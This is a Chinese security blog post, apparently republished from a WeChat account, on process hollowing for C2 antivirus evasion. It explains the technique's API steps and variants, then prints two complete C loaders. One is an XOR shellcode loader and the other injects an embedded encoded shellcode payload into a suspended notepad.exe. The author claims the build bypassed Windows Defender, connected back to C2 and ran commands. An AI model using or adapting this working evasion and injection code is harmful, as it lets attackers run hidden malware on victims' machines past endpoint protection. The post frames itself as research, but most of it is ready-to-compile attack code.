【免杀】C2免杀技术(六)进程镂空(傀儡进程)

admin 2025年5月20日00:15:45评论0 views字数 10711阅读35分42秒阅读模式
一、技术定位与核心思想

进程镂空(Process Hollowing)属于 MITRE ATT&CK 中 T1055.012 子技术:先创建一个合法进程并挂起,随后把其主模块从内存“掏空”并替换为恶意映像,最后恢复线程执行,从而让恶意代码披着正常进程外壳运行。 

【免杀】C2免杀技术(六)进程镂空(傀儡进程)
二、标准流程(七步拆解)
步骤
关键 API
细节陷阱
① 创建挂起进程
CreateProcessW(..., CREATE_SUSPENDED)
选用系统常驻或白名单进程名称;位数需与 payload 一致。
② 解析目标 PEB
NtQueryInformationProcess

 + ReadProcessMemory 
取出 ImageBaseAddress
③ 卸载原映像
NtUnmapViewOfSection

 
如卸载失败一般是内存仍被模块引用,需重试或改用 NtWriteVirtualMemory 覆盖。
④ 申请内存
VirtualAllocEx

 
推荐按分节属性分别设权限,减少可疑“RX/RWX” 区段。
⑤ 写入恶意映像
WriteProcessMemory

 + 重定位表修补
重定位 delta = NewBase - OldImageBase ;缺 reloc 表会直接崩溃。
⑥ 重写线程上下文
GetThreadContext / SetThreadContext

 
x86 写 EAX/EIP;x64 需写 RCX,RDX,R8,R9 等保留寄存器。
⑦ 恢复执行
ResumeThread
建议先 Sleep‑Obfuscation → Unhook,再联网。
三、进阶与变体
变体
核心改动
场景/优势
RunPE/PE‑Inject
过程同镂空,但直接覆盖同一进程(无父子关系)。
红队常用,代码更简单。
Transacted Hollowing
结合 TxF 事务,绕过落地文件扫描。
被 NITROGEN / HijackLoader 等新家族采用 (CrowdStrike)。
Process Ghosting / Herpaderping / Doppelgänging
修改或删除落地文件后再创建进程,文件已不可扫描。
对文件型防护最具破坏性;微软专文阐述检测难点 (微软)。
Windows 11 24H2 MEM_IMAGE 版
24H2 要求映像区段标记为 MEM_IMAGE;传统 MEM_PRIVATE 写入会异常 0xC0000141 终止 (cirt.gy)。
需改用 NtCreateSection 映射映像模式或走 Ghosting 路线。
四、免杀效果展示
1、先拿之前的文章:【免杀】C2免杀技术(四)shellcode分离加载 里的xor加载器代码(文章里演示过,放到DF上,被杀)
#include <windows.h>#include <stdio.h>#include <stdlib.h>
// 使用字符串 "kun" 作为 XOR keyunsigned char xor_key[] = { 'k''u''n' };const size_t key_len = sizeof(xor_key);
// XOR混淆的 shellcode(请用你的真实 shellcode 替换)unsigned char encoded_shellcode[] = "x97x3dxedx8fx85x86xa3x75x6ex6bx34x3fx2ax25x3cx3ax23x26x5axa7x0bx23xfex3cx0bx3dxe5x39x6dx26xe0x27x4ex23xfex1cx3bx3dx61xdcx3fx24x26x44xa7x23x44xaexc7x49x0fx17x77x42x4bx34xafxa2x78x2fx6axb4x8cx86x27x2fx3ax3dxe5x39x55xe5x29x49x26x6axa5x08xeax0dx76x60x77x1bx19xfexeexe3x75x6ex6bx3dxebxabx01x09x23x74xbex3bxfex26x73x31xe5x2bx55x27x6axa5x8dx3dx3dx91xa2x34xe5x5fxfdx26x6axa3x23x5axbcx26x5axb5xc2x2axb4xa7x66x34x6fxaax4dx8ex1ex84x22x68x39x4ax63x30x57xbax00xb6x33x31xe5x2bx51x27x6axa5x08x2axfex62x23x31xe5x2bx69x27x6axa5x2fxe0x71xe6x23x74xbex2ax2dx2fx33x2bx37x31x34x36x2ax2cx2fx31x3dxedx87x55x2fx39x8ax8ex33x34x37x31x3dxe5x79x9cx21x94x8ax91x36x1fx6ex22xcbx19x02x1bx07x05x10x1ax6bx34x38x22xfcx88x27xfcx9fx2axcfx22x1cx53x69x94xa0x26x5axbcx26x5axa7x23x5axb5x23x5axbcx2fx3bx34x3ex2axcfx54x3dx0cxc9x94xa0x85x18x2fx26xe2xb4x2fxd3x28x7fx6bx75x23x5axbcx2fx3ax34x3fx01x76x2fx3ax34xd4x3cxfcxf1xadx8axbbx80x2cx35x23xfcxafx23x44xbcx22xfcxb6x26x44xa7x39x1dx6ex69x35xeax39x27x2fxd1x9ex3bx45x4ex91xbex3dxe7xadx3dxedxa8x25x04x61x2ax26xe2x84x26xe2xafx27xacxb5x91x94x8ax91x26x44xa7x39x27x2fxd1x58x68x73x0ex91xbexf0xaex64xf0xf3x6ax75x6ex23x8axa1x64xf1xe2x6ax75x6ex80xa6x87x8fx74x6ex6bx9dxccx94x8ax91x44x1fx2fx27x13x6ex29xfbx4cx87x7cx4exa3x5ax27x7ex12x9bxe1xb6xcbx0dx98x9ex71x24xf0xbbx35xe9x45x21xf4x5fx7fx0cx90xf4x74xe8x6axb2xb5x4fx8cxf6xd6x9ex51xdfx81xaex76x30x26xddxbdx75x63x41xc0x67x3cx70xd5xf5x79xadx41x9fxc5xa7x6axfdx58x20xbdxafx8cx75x3bx18x10x1cx46x34x09x0ex1bx1ax51x55x23x04x0fx07x07x19x0fx44x40x40x5bx55x46x08x1ax03x1bx14x1ax02x17x02x0ex4ex4ex26x26x27x2ex55x5fx5bx5bx5ex50x55x39x02x1bx0ax04x02x1dx4bx3bx3ax4bx43x40x5ax4ex4ex3cx3ax39x5dx41x55x4bx21x1cx02x11x0bx05x01x41x5dx5bx5ex42x78x64x6bx43xacxbcx37xdfx7bx58xffx31x6fx96x46xfex4fx38xd0xe3xf3xfbx3cx0cx3ax75x82x1cxf1xd9x1dxd2x49x6bx9ax46x25x9exafx69x9ax83x12xf0x10xb9x26x75x0ax1axaex03x61x24x6fx4bxe9xe7xcdx58xf4xbex95xd0x46x3fx7bx37x76xc8x0bx35x3bx9ax2bxaaxd5x1cxafx4bx35xdax25x9ax69x5cx0fxd4x0cx3bxbax3dxd2xf0xb9x6axcdx8fx81xe2x9ex52xebx6dx1ex61x25x5cx1exc4x0fx0ex1fxa3x88x22x5bx62x3exc1xeexd7x8cx43xf1x25x90xf4x7dxbbxbcxc7x7ex9dx83xfaxffx9dxbfx51x9fx76x7axb2xc7xa7xa0x6cxddxddxe8x55xc9xb7xdaxa1xfexd5x9dx0exabx49xb9x06x93xacx62x68xd6xd4x0bx75x17x50x9fx02x8fx7bx0dx47x97xc7x5dxc6x34x43x86x20xc3x5fx4exd5x64x83x5dx7fx55x6bx69x3ex7fx99x02x4fxa4x1bxa1x0ex07x03x54x1dxf2xe1x04x4dxa8x36xd3x09x6ex2axcbx9exdexd7x38x94xa0x26x5axbcxd4x6bx75x2ex6bx34xd6x6bx65x6ex6bx34xd7x2bx75x6ex6bx34xd4x33xd1x3dx8ex8axbbx23xe6x3dx38x3dxe7x8cx3dxe7x9ax3dxe7xb1x34xd6x6bx55x6ex6bx3cxe7x92x34xd4x79xe3xe7x89x8axbbx23xf6xaax4bxf0xaex1fxc3x08xe0x72x26x6axb6xebxabx00xb9x33x2dx36x23x70x6ex6bx75x6ex3bxb6x86xf4x88x91x94x44x57x59x5bx5fx5dx4dx40x59x40x5bx45x44x6ex6bx7fx42x41" /* shellcode 省略,原样复制 */;size_t shellcode_len = sizeof(encoded_shellcode);
int main() {    // 申请 RWX 内存    LPVOID exec_mem = VirtualAlloc(NULL, shellcode_len, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);    if (!exec_mem) {        printf("VirtualAlloc failed.n");        return -1;    }
    // 复制加密的 shellcode 到可执行内存    memcpy(exec_mem, encoded_shellcode, shellcode_len);
    // 在已加载的内存中解密 shellcode    for (size_t i = 0; i < shellcode_len; ++i) {        ((unsigned char*)exec_mem)[i] ^= xor_key[i % key_len];    }
    // 创建线程执行 shellcode    HANDLE hThread = CreateThread(NULL0, (LPTHREAD_START_ROUTINE)exec_mem, NULL0NULL);    if (!hThread) {        printf("CreateThread failed.n");        VirtualFree(exec_mem, 0, MEM_RELEASE);        return -1;    }
    // 等待 shellcode 执行完成    WaitForSingleObject(hThread, INFINITE);
    // 清理    VirtualFree(exec_mem, 0, MEM_RELEASE);
    return 0;}

2、现在使用进程镂空技术来改造,改完如下:

#include <windows.h>#include <stdio.h>#include <tlhelp32.h>
// 示例Shellcode(已使用XOR加密)unsigned char shellcode[] = /* 你的XOR加密后shellcode数据 */ "x97x3dxedx8fx85x86xa3x75x6ex6bx34x3fx2ax25x3cx3ax23x26x5axa7x0bx23xfex3cx0bx3dxe5x39x6dx26xe0x27x4ex23xfex1cx3bx3dx61xdcx3fx24x26x44xa7x23x44xaexc7x49x0fx17x77x42x4bx34xafxa2x78x2fx6axb4x8cx86x27x2fx3ax3dxe5x39x55xe5x29x49x26x6axa5x08xeax0dx76x60x77x1bx19xfexeexe3x75x6ex6bx3dxebxabx01x09x23x74xbex3bxfex26x73x31xe5x2bx55x27x6axa5x8dx3dx3dx91xa2x34xe5x5fxfdx26x6axa3x23x5axbcx26x5axb5xc2x2axb4xa7x66x34x6fxaax4dx8ex1ex84x22x68x39x4ax63x30x57xbax00xb6x33x31xe5x2bx51x27x6axa5x08x2axfex62x23x31xe5x2bx69x27x6axa5x2fxe0x71xe6x23x74xbex2ax2dx2fx33x2bx37x31x34x36x2ax2cx2fx31x3dxedx87x55x2fx39x8ax8ex33x34x37x31x3dxe5x79x9cx21x94x8ax91x36x1fx6ex22xcbx19x02x1bx07x05x10x1ax6bx34x38x22xfcx88x27xfcx9fx2axcfx22x1cx53x69x94xa0x26x5axbcx26x5axa7x23x5axb5x23x5axbcx2fx3bx34x3ex2axcfx54x3dx0cxc9x94xa0x85x18x2fx26xe2xb4x2fxd3x28x7fx6bx75x23x5axbcx2fx3ax34x3fx01x76x2fx3ax34xd4x3cxfcxf1xadx8axbbx80x2cx35x23xfcxafx23x44xbcx22xfcxb6x26x44xa7x39x1dx6ex69x35xeax39x27x2fxd1x9ex3bx45x4ex91xbex3dxe7xadx3dxedxa8x25x04x61x2ax26xe2x84x26xe2xafx27xacxb5x91x94x8ax91x26x44xa7x39x27x2fxd1x58x68x73x0ex91xbexf0xaex64xf0xf3x6ax75x6ex23x8axa1x64xf1xe2x6ax75x6ex80xa6x87x8fx74x6ex6bx9dxccx94x8ax91x44x1fx2fx27x13x6ex29xfbx4cx87x7cx4exa3x5ax27x7ex12x9bxe1xb6xcbx0dx98x9ex71x24xf0xbbx35xe9x45x21xf4x5fx7fx0cx90xf4x74xe8x6axb2xb5x4fx8cxf6xd6x9ex51xdfx81xaex76x30x26xddxbdx75x63x41xc0x67x3cx70xd5xf5x79xadx41x9fxc5xa7x6axfdx58x20xbdxafx8cx75x3bx18x10x1cx46x34x09x0ex1bx1ax51x55x23x04x0fx07x07x19x0fx44x40x40x5bx55x46x08x1ax03x1bx14x1ax02x17x02x0ex4ex4ex26x26x27x2ex55x5fx5bx5bx5ex50x55x39x02x1bx0ax04x02x1dx4bx3bx3ax4bx43x40x5ax4ex4ex3cx3ax39x5dx41x55x4bx21x1cx02x11x0bx05x01x41x5dx5bx5ex42x78x64x6bx43xacxbcx37xdfx7bx58xffx31x6fx96x46xfex4fx38xd0xe3xf3xfbx3cx0cx3ax75x82x1cxf1xd9x1dxd2x49x6bx9ax46x25x9exafx69x9ax83x12xf0x10xb9x26x75x0ax1axaex03x61x24x6fx4bxe9xe7xcdx58xf4xbex95xd0x46x3fx7bx37x76xc8x0bx35x3bx9ax2bxaaxd5x1cxafx4bx35xdax25x9ax69x5cx0fxd4x0cx3bxbax3dxd2xf0xb9x6axcdx8fx81xe2x9ex52xebx6dx1ex61x25x5cx1exc4x0fx0ex1fxa3x88x22x5bx62x3exc1xeexd7x8cx43xf1x25x90xf4x7dxbbxbcxc7x7ex9dx83xfaxffx9dxbfx51x9fx76x7axb2xc7xa7xa0x6cxddxddxe8x55xc9xb7xdaxa1xfexd5x9dx0exabx49xb9x06x93xacx62x68xd6xd4x0bx75x17x50x9fx02x8fx7bx0dx47x97xc7x5dxc6x34x43x86x20xc3x5fx4exd5x64x83x5dx7fx55x6bx69x3ex7fx99x02x4fxa4x1bxa1x0ex07x03x54x1dxf2xe1x04x4dxa8x36xd3x09x6ex2axcbx9exdexd7x38x94xa0x26x5axbcxd4x6bx75x2ex6bx34xd6x6bx65x6ex6bx34xd7x2bx75x6ex6bx34xd4x33xd1x3dx8ex8axbbx23xe6x3dx38x3dxe7x8cx3dxe7x9ax3dxe7xb1x34xd6x6bx55x6ex6bx3cxe7x92x34xd4x79xe3xe7x89x8axbbx23xf6xaax4bxf0xaex1fxc3x08xe0x72x26x6axb6xebxabx00xb9x33x2dx36x23x70x6ex6bx75x6ex3bxb6x86xf4x88x91x94x44x57x59x5bx5fx5dx4dx40x59x40x5bx45x44x6ex6bx7fx42x41";SIZE_T shellcodeSize = sizeof(shellcode);
int main() {    STARTUPINFOA si = { 0 };    PROCESS_INFORMATION pi = { 0 };    CONTEXT ctx;    ctx.ContextFlags = CONTEXT_FULL;
    // 1. 创建挂起的目标进程(以 notepad.exe 为例)    if (!CreateProcessA(        "C:\Windows\System32\notepad.exe",        NULLNULLNULL, FALSE,        CREATE_SUSPENDED, NULLNULL,        &si, &pi))    {        printf("[-] CreateProcess failed (%d)n"GetLastError());        return -1;    }    printf("[+] Suspended process created (PID: %d)n", pi.dwProcessId);
    // 2. 获取线程上下文    if (!GetThreadContext(pi.hThread, &ctx)) {        printf("[-] GetThreadContext failed (%d)n"GetLastError());        return -1;    }
    // 3. 获取 ImageBase 地址    DWORD64 imageBase = 0;    ReadProcessMemory(pi.hProcess,        (LPCVOID)(ctx.Rdx + 0x10),        &imageBase, sizeof(imageBase), NULL);
    // 4. 解析入口点 RVA    IMAGE_DOS_HEADER dos = { 0 };    IMAGE_NT_HEADERS64 nt = { 0 };    ReadProcessMemory(pi.hProcess, (LPCVOID)imageBase, &dos, sizeof(dos), NULL);    ReadProcessMemory(pi.hProcess,        (LPCVOID)(imageBase + dos.e_lfanew),        &nt, sizeof(nt), NULL);    DWORD64 entryRVA = nt.OptionalHeader.AddressOfEntryPoint;    DWORD64 targetAddr = imageBase + entryRVA;
    // 5. 修改目标内存页权限为可写可执行    DWORD oldProt = 0;    VirtualProtectEx(pi.hProcess,        (LPVOID)targetAddr,        shellcodeSize,        PAGE_EXECUTE_READWRITE,        &oldProt);
    // 6. 写入已加密 shellcode    if (!WriteProcessMemory(pi.hProcess,        (LPVOID)targetAddr,        shellcode, shellcodeSize, NULL))    {        printf("[-] WriteProcessMemory (encrypted) failed (%d)n"GetLastError());        return -1;    }    printf("[+] Encrypted shellcode written to target process.n");
    // 7. 在目标进程内存中进行 XOR 解密(Key: "kun")    unsigned char xorKey[] = "kun";       // XOR 密钥字符串    SIZE_T keyLen = sizeof(xorKey) - 1;    // 不包含末尾 ''
    for (SIZE_T i = 0; i < shellcodeSize; i++) {        unsigned char encByte = 0;        // 读取加密字节        if (!ReadProcessMemory(pi.hProcess,            (LPCVOID)(targetAddr + i),            &encByte, 1NULL))        {            printf("[-] ReadProcessMemory failed at offset %llu (%d)n", i, GetLastError());            return -1;        }        // XOR 解密        unsigned char decByte = encByte ^ xorKey[i % keyLen];        // 写回解密后字节        if (!WriteProcessMemory(pi.hProcess,            (LPVOID)(targetAddr + i),            &decByte, 1NULL))        {            printf("[-] WriteProcessMemory failed at offset %llu (%d)n", i, GetLastError());            return -1;        }    }    printf("[+] Shellcode decrypted in target process memory.n");
    // 8. 设置线程 RIP 到 shellcode 地址    ctx.Rip = targetAddr;    if (!SetThreadContext(pi.hThread, &ctx)) {        printf("[-] SetThreadContext failed (%d)n"GetLastError());        return -1;    }
    // 9. 恢复线程执行    ResumeThread(pi.hThread);
    // 清理句柄    CloseHandle(pi.hThread);    CloseHandle(pi.hProcess);    return 0;}

当然,我这里并不符合以上“标准流程”,而是上述第一种变体(RunPE/PE‑Inject),像是一种入口点覆盖式的注入,区别如下:

  • 并没有“掏空”原进程的合法映像,而是在原映像内直接覆盖;
  • 没有按照 PE 结构重建映像,也没有处理重定位、导入表等;
  • 红队常用,代码更简单。

3、将两份代码全部编译出来,进行对比

【免杀】C2免杀技术(六)进程镂空(傀儡进程)

拉到DF上检测,结果如图:

【免杀】C2免杀技术(六)进程镂空(傀儡进程)

运行测试,成功上线并执行命令,进程镂空(傀儡进程)绕过DF!

【免杀】C2免杀技术(六)进程镂空(傀儡进程)

如图,恶意程序的真实的名称并不会出现在进程清单里,取而代之的是notepad.exe

【免杀】C2免杀技术(六)进程镂空(傀儡进程)
五、结尾

通常所说的傀儡进程,主要就是指进程镂空(Process Hollowing)  ,但是这两个概念并非完全等价的术语。傀儡进程是一个更广泛的概念,指攻击者控制的一个表面上看起来“正常”的进程,实际却在执行恶意任务。它包括不限于:进程镂空、进程替身、父子关系欺骗、镜像劫持、进程劫持等。

名称
关系
举例
进程镂空
傀儡进程的一种实现
CreateProcess

 + 替换内存
傀儡进程
总体概念
镂空、Doppelgänging、镜像劫持等

#免杀 #进程镂空 #傀儡进程 #C2

原文始发于微信公众号(仇辉攻防):【免杀】C2免杀技术(六)进程镂空(傀儡进程)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年5月20日00:15:45
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【免杀】C2免杀技术(六)进程镂空(傀儡进程)https://cn-sec.com/archives/4083627.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息